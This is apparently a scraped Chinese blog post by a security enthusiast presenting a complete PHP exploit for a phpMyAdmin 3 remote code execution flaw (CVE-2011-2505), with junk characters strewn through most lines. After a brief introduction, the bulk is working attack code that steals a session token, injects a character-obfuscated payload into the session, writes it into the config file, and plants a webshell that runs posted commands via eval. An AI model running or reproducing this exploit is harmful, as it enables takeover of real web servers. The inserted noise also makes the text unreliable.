最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。, C; T: I) v. ?1 R1 ^' I
5 i! O$ m' E, S% R
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。2 }0 a3 z2 Y$ G8 R
3 i' v5 n3 x7 M) K3 L4 W0 h
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:4 I2 r3 ^0 Y0 i: p+ k0 J
一是session.auto_start = 1;1 f3 r) Q+ f6 \ L2 k5 [" ?
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。2 s% x H1 J" E% y- x% G! c' t# _
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。# Z2 n( H. w3 }8 D4 A' M: Y
7 S0 ]/ C# Z) b8 [" f! W5 Y
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
; W" g9 a: v! d! o: f, i& T! V* T% O* R: z
于是写了这个php版本的exp,代码如下:7 Q2 F+ @! @; \0 T7 _
' \$ \* A: U) n" A+ m/ @#!/usr/bin/php
6 @) G0 l( x9 n* e& Q<?php
# }( U: v* W0 K/ y) p ^print_r('$ Y" ~( i6 C& D' D0 q7 P
+---------------------------------------------------------------------------+
- u* V2 c, H9 [& ppma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]" K/ j9 F% G, F9 G c$ L( M
by oldjun(www.oldjun.com)4 P% M* U; B$ [& T' g0 Q
welcome to www.t00ls.net; F6 A0 c$ l @/ t$ t) }# ^; @
mail: oldjun@gmail.com
) W! p1 x, H. U! | ?& KAssigned CVE id: CVE-2011-2505
' Q1 r( d: O! x/ `: k' L" j+---------------------------------------------------------------------------+
% @* d7 W2 _( y');( b$ Y, X/ y* \0 F, K5 H
+ x& O+ V' _( |" @/**% l; \9 |9 O5 {4 Q$ m* X
* working when the directory:"config" exists and is writeable.4 k- Z( t3 q# W; y
**/& v3 v) m- ~1 v4 @ Q, x3 ~
* h+ g J- K2 q+ }5 s" r' c: Z
if ($argc < 3) {
: |* L% W9 l. |0 Y; X, X print_r('
2 @9 G8 s4 h& u. d. J+---------------------------------------------------------------------------+ u- a( ~; G& k9 f( z( l
Usage: php '.$argv[0].' host path
% q* z& D3 r, V( S, u1 S( Whost: target server (ip/hostname)
' s0 [7 J. I! f( i0 P: dpath: path to pma39 g/ C3 \: ?, W
Example:1 ]4 P4 v1 \+ |% q3 R- L
php '.$argv[0].' localhost /pma/
$ D+ P+ O, `% U% g0 v+---------------------------------------------------------------------------+
7 q; `# j- M2 L; u- y8 Q1 r');% O* e8 Z- i& ?0 S& W
exit;6 N5 W/ Q& w: u. z# v0 n
}
6 ^9 P: N& G/ @8 W. h# h4 |8 e- q
$host = $argv[1];
m6 |$ r5 l$ [% E0 F. @9 g) U3 D$path = $argv[2];
* }" U# X$ u" Z: l1 ?3 D, ~- c2 B0 i( ~* t
/**
* G& L& ^3 D* M) J ~( `# { * Try to determine if the directory:"config" exists
1 [$ L! J- y \% a$ ~& y! l**/9 j3 _0 F8 K: N/ @8 u# l
echo "[+] Try to determine if the directory:config exists....\n";
" R- p! d `+ [" ~; {$returnstr=php_request('config/');
+ T1 Q! l% C1 p8 w% L5 C* mif(strpos($returnstr,'404')){
( W" b, m0 k& Y. t: m8 K$ W& p. M exit("[-] Exploit Failed! The directory:config do not exists!\n");6 O# Z# z1 m( o/ f
}8 Q& V2 u0 U, u0 }
: U- F0 F1 r) W" X. J0 S/**
* n X, v7 F: f5 {6 A. \ * Try to get token and sessionid! _+ ^( {2 g6 J1 @# F6 C% P( u) y
**/: p+ e6 O5 c Y& \4 M9 x( ]
echo "[+] Try to get token and sessionid....\n";
. f W7 w1 g* O8 k2 m$ {$result=php_request('index.php');+ e( e" J9 U# j/ z- }+ E" R7 Y$ D
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);( D% \4 P- ^( i {5 M
$token=$resp[3];
2 r2 P. g' a- j( D$sessionid=$resp[1];
0 r6 @/ r) m- f4 ?! w5 {if($token && $sessionid){7 r: {/ E6 s8 I6 U. @7 P. P
echo "[+] tokentoken\n";
/ Q' {$ g$ v4 E9 z r9 n5 L echo "[+] Session IDsessionid\n";
8 V. p6 l7 W. g}else{! Y/ l; M8 f( b8 h$ n$ S' R
exit("[-] Can't get token and Session ID,Exploit Failed!\n");; e7 ^2 ^! n$ ~0 h
}0 `* P7 t2 |7 |
5 P2 t8 r i B4 U- M) D. x
/**
3 O. T7 u0 F" c, F% @+ ~7 M y * Try to insert shell into session
7 q2 h7 p% i0 Z+ F**/
* D& g# ]" B- H! }. k3 D1 C9 J% o/ lecho "[+] Try to insert shell into session....\n";
! _ i; i$ f' ~ V0 r/ gphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.4 L- D# y# W% [# m, V% [
c9 F4 k0 Y/ t' I4 U3 ]3 F
/**
3 x5 W* f: L- B" J * Try to create webshell
/ E2 [1 D0 h! v**/
( o9 J: ?8 J1 c5 M* s! P: n+ kecho "[+] Try to create webshell....\n";0 i0 `) F6 @/ y K* K
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);" m' D' O) y# i( Y u/ m$ Q: I
/**6 N6 E' K- O2 z4 c; R
* Try to check if the webshell was created successfully, F, w! `- }( x' c
**/# w+ E, R) P% g& Q4 g! e
echo "[+] Try to check if the webshell was created successfully....\n";
* F. I# C# ^; M2 E4 e$content=php_request('config/config.inc.php');( [& d& h4 z! t& _
if(strpos($content,'t00ls')){( G! v% a: B5 z3 l8 H
echo "[+] Congratulations! Expoilt successfully....\n";
$ T& t8 g6 K g! E( _: | echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";5 G- U) P/ W) {/ w9 n
}else{2 u' J" M+ ^& I _
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");6 \( A4 u2 Z* U/ t
}* q9 L1 Z2 s) J: |; o5 B3 F0 X- `
6 e: n5 `9 P9 ~5 ^: Y+ |function php_request($url,$data='',$cookie=''){/ w: {# _3 c. _8 }; X* H
global $host, $path;! I5 X! ?3 @# q$ ~# [' B6 H
* u | O/ g7 o0 i1 S' b, p! f1 {
$method=$data?'POST':'GET';0 @4 k/ w( P( n$ J
0 A" Q. E* U' {+ V8 \* p& L $packet = $method." ".$path.$url." HTTP/1.1\r\n"; Y# n' E9 T5 i: R4 {2 K4 i
$packet .= "Accept: */*\r\n";
" A. T0 h& V2 m/ U) i( A" Y x $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
9 s. {8 S3 z* Q9 B" U7 X $packet .= "Host: $host\r\n";
% s+ N+ E! A: \- T7 c( w0 v3 H# _ $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";' P5 p5 z. `( H z% Y8 V) ~0 y6 I+ {
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";* e# V0 h4 A) u# N: |
$packet .= $cookie?"Cookie: $cookie\r\n":"";
% @( r9 Q7 B9 g% ~4 l $packet .= "Connection: Close\r\n\r\n";
- @/ u( c q* a $packet .= $data?$data:"";
6 t! z A2 Q4 [+ K: S" l
: G- X& X" I1 ^' ^6 | $fp = fsockopen(gethostbyname($host), 80);
m8 {& e# [1 Q$ J; o7 ], J if (!$fp) {
! ?5 z$ `# e( f- f echo 'No response from '.$host; die;
9 u2 B4 H* T* t$ ^# N% u# A }, J# l7 [( {$ Y6 D5 _! o8 g
fputs($fp, $packet);1 @# J& B; ~+ T6 T( t
" k; l( Y: e) N5 E $resp = '';4 ]7 R8 }. z0 N, a* o7 b% n. `
6 L- _; w9 r6 h' U7 i t
while ($fp && !feof($fp))
1 `# E5 q, m9 m) J, P $resp .= fread($fp, 1024);
. k( v) C5 k4 f( d5 ^/ x; q7 ]0 d% ?# g" \9 {
return $resp;
/ u9 D& m0 ^: J}
- P7 r* P( p9 L( D' V
0 j0 \% l5 X# W# O" l2 \9 d/ F5 m?> 4 ~5 k$ C a, u9 N
. |